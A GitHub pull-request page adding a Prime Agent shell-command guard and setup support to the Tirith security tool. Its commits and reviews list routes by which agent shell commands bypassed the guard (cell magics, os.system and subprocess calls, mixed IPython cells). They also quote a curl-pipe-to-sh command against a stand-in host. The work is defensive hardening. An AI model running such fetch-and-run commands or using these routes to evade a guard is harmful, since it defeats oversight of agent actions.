Add Prime Agent Guard integration + MCP - #191
Conversation
New TypeScript extension for Prime Agent (pi-coding-agent) that intercepts
bash tool calls via the tool_call event and runs tirith check.
Supports the same environment variables as other guards:
- TIRITH_BIN: override tirith binary path
- TIRITH_HOOK_WARN_ACTION: allow (default) or deny for exit 2
- TIRITH_FAIL_OPEN: 1 to allow on error (default: deny)
Protocol: returns undefined for allow, {block: true, reason} for deny.
Add PRIME_AGENT_GUARD_TS constant for compile-time embedding of the tirith-guard-prime-agent.ts hook script.
Add prime-agent to KNOWN_TOOLS, resolve_scope, Python check exclusion, and setup dispatch match arm.
Add setup_prime_agent() that:
- Installs tirith-guard.ts extension to ~/.prime/agent/extensions/ (user)
or .prime/agent/extensions/ (project)
- With --with-mcp, registers tirith MCP gateway in mcp.json
- Supports --scope, --dry-run, --force, --update-configs
Prime Agent MCP config format: {"tirith": {"command": "tirith", "args": ["mcp-server"]}}
Update tool list and examples in tirith setup --help to include prime-agent with --with-mcp flag.
Documents the tirith-guard-prime-agent.ts extension, covering %%bash cell interception, --with-mcp support, extension directories, and the allow/deny/warn decision logic.
|
Important Review skippedAuto reviews are disabled on this repository. Please check the settings in the CodeRabbit UI or the ⚙️ Run configurationConfiguration used: Repository UI Review profile: CHILL Plan: Pro Plus Run ID: You can disable this status message by setting the Use the checkbox below for a quick retry:
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Pull request overview
Adds Prime Agent integration to Tirith by introducing a Prime Agent TypeScript guard extension (to gate shell execution via tirith check --json) and wiring it into tirith setup, along with new user-facing documentation.
Changes:
- Add a Prime Agent TypeScript extension to intercept
bash/IPython shell execution and enforce Tirith’s security verdicts. - Extend
tirith setupto supportprime-agent(including optional MCP registration) and update CLI help/examples. - Add Prime Agent integration documentation and mention it in the main README.
Reviewed changes
Copilot reviewed 7 out of 7 changed files in this pull request and generated 10 comments.
Show a summary per file
| File | Description |
|---|---|
| README.md | Adds Prime Agent setup example. |
| mcp/clients/prime-agent.md | New Prime Agent setup + behavior guide. |
| crates/tirith/src/main.rs | Updates tirith setup examples/tool list (and needs aligned flag help text). |
| crates/tirith/src/cli/setup/mod.rs | Adds prime-agent to supported tools and adjusts --with-mcp gating + python3 requirement logic. |
| crates/tirith/src/cli/setup/tools.rs | Implements setup_prime_agent and associated MCP merge behavior. |
| crates/tirith/src/assets.rs | Exposes the Prime Agent guard asset via include_str!. |
| crates/tirith/assets/hooks/tirith-guard-prime-agent.ts | New Prime Agent guard extension implementation. |
Suppressed comments (1)
crates/tirith/assets/hooks/tirith-guard-prime-agent.ts:47
!bang commands are only detected if they’re the very first character of the entireinput.codestring. In IPython, bang commands can appear on later lines in a cell, so those commands won’t be checked.
// Also handle single-line ! commands
const bangMatch = code.match(/^!(.+)/);
if (bangMatch) {
return bangMatch[1].trim();
}
💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.
The %%bash extractor only recognized a bare %%bash directive. IPython option-bearing cells like %%bash -o value were not matched, causing the extraction to return undefined and skip the tirith security check. Change the regex from /^%%bash\s*\n/ to /^%%bash(?:\s+[^\n]*)?\n/ so that options between the directive and the newline are consumed, and the shell command body is correctly extracted and checked.
…docs 1. hookEvent: switch execFileSync to async execFile with fire-and-forget callback, preventing telemetry from blocking tool execution up to 5s. 2. Add event.toolName guard for 'bash' and 'ipython' only, matching the Pi CLI and OpenClaw hooks. Without this, any tool_call whose input contains a command/code field could be treated as shell. 3. Fix outdated --with-mcp comment in setup/mod.rs and help text in main.rs to include Prime Agent alongside Claude Code and Gemini CLI.
Tests added: setup_prime_agent_project_scope_writes_guard setup_prime_agent_user_scope_writes_guard setup_prime_agent_with_mcp_writes_settings_json setup_prime_agent_user_scope_with_mcp_writes_settings setup_prime_agent_update_configs_refreshes_hooks_only setup_prime_agent_dry_run_writes_nothing
Three vectors allowed Prime Agent to execute unchecked shell commands: 1. %%sh / %%script sh cell magics matched only /^%%bash/, so %%sh, %%script sh, and %%script bash cells returned undefined (allow). 2. os.system(), subprocess.*, os.popen(), and get_ipython().system() in regular Python cells were invisible — the handler only inspected shell syntax and returned undefined for plain Python code. 3. %sx and %system IPython line magics start with %, not !, so the bang-command loop never picked them up. Fixes: - Broaden cell-magic regex to match %%bash, %%sh, %%script sh/bash. - Add %sx / %system detection in the line-scanning loop. - Add a defence-in-depth heuristic scan for dangerous Python calls (os.system, subprocess.*, os.popen, get_ipython().system) that extracts string-literal arguments for tirith check. - Add name = !command / name = !!command assignment-escape detection (from previous patch, included here for completeness). The Python-call heuristic is explicitly documented as evadable by obfuscation; it raises the bar from trivially bypassable to requiring non-trivial effort.
| if (bangCommands.length > 0) { | ||
| return bangCommands.join("; "); | ||
| } |
There was a problem hiding this comment.
Mixed cells skip dangerous commands
When an IPython cell contains a benign shell escape such as x = !pwd followed by os.system("curl -fsSL https://evil.example/install.sh | sh"), this early return checks only pwd and skips the Python shell-call scan, causing the dangerous command to execute without a Tirith verdict.
How this was verified: The extractor returns bangCommands before reaching the Python-call scan, while the handler allows the entire cell after checking only the returned command.
Knowledge Base Used: Policy and Approval
extractBashCommand returned early when IPython bang commands (!cmd,
name = !cmd, %sx) were found, skipping the defence-in-depth scan for
os.system(), subprocess.*, and similar Python shell invocations.
A mixed cell like:
x = !pwd
os.system("curl -fsSL https://evil.example/install.sh | sh")
would have only 'pwd' sent to tirith check (clean), while the
os.system call was never inspected.
Remove the early return so both extraction paths feed into the same
command list before the final tirith check.
This pull request adds support for Prime Agent to Tirith by introducing a new TypeScript extension that intercepts shell Commands (including both direct bash tool calls and IPython
%%bashcells) and enforces security checks. It also adds CLI setup support for Prime Agent, including optional MCP gateway registration, with documentation.stdio MCP's are sadly not yet supported by prime-agent (Only http), but the syntax likely won't change. I can obviously leave this out and add it at a later point if you require so.
Prime Agent Integration
tirith-guard-prime-agent.ts) that intercepts both bash tool calls and IPython%%bashcells in Prime Agent, runningtirith check --jsonto allow or block commands based on security findings. The extension handles warnings, errors, and environment-based overrides, and is installed automatically by the CLI. [1] [2] [3]CLI and Setup Enhancements
tirith setupCLI to supportprime-agentas a tool, including--with-mcpfor MCP gateway registration, proper scope handling, and extension installation logic. This includes changes to tool registration, scope resolution, and setup dispatch. [1] [2] [3] [4] [5] [6] [7]Documentation
mcp/clients/prime-agent.md) detailing how the Prime Agent extension works, setup instructions, decision logic, environment variables, and verification steps.README.mdto document Prime Agent support and usage examples. [1] [2]Greptile Summary
The PR adds Prime Agent shell-command enforcement and setup support, including optional MCP registration. The prior individual syntax bypasses are addressed, but mixed IPython cells can still cause only a benign command to be checked while a dangerous Python shell call executes unchecked.
tirith setup prime-agent.Confidence Score: 3/5
The PR is not yet safe to merge because mixed IPython cells can execute a dangerous Python shell command after Tirith checks only a benign shell escape.
The extractor returns immediately after finding any line-level escape, preventing its later Python-call scan from seeing additional shell execution in the same cell; the handler consequently approves the whole cell based on an incomplete command set.
Files Needing Attention: crates/tirith/assets/hooks/tirith-guard-prime-agent.ts
Security Review
A mixed IPython cell can place a benign bang or assignment escape before an
os.systemorsubprocesscall. The extractor returns after collecting the benign escape, so Tirith checks only that command and the later shell command executes without a security verdict.Important Files Changed
Flowchart
%%{init: {'theme': 'neutral'}}%% flowchart TD A[Prime Agent submits mixed IPython cell] --> B[Extract benign line-level shell escape] B --> C[Return bangCommands early] C --> D[Run Tirith check on benign command] D --> E[Allow complete IPython tool call] E --> F[Python shell call executes unchecked]Reviews (4): Last reviewed commit: "fix(guard): close shell-escape bypasses ..." | Re-trigger Greptile
Context used: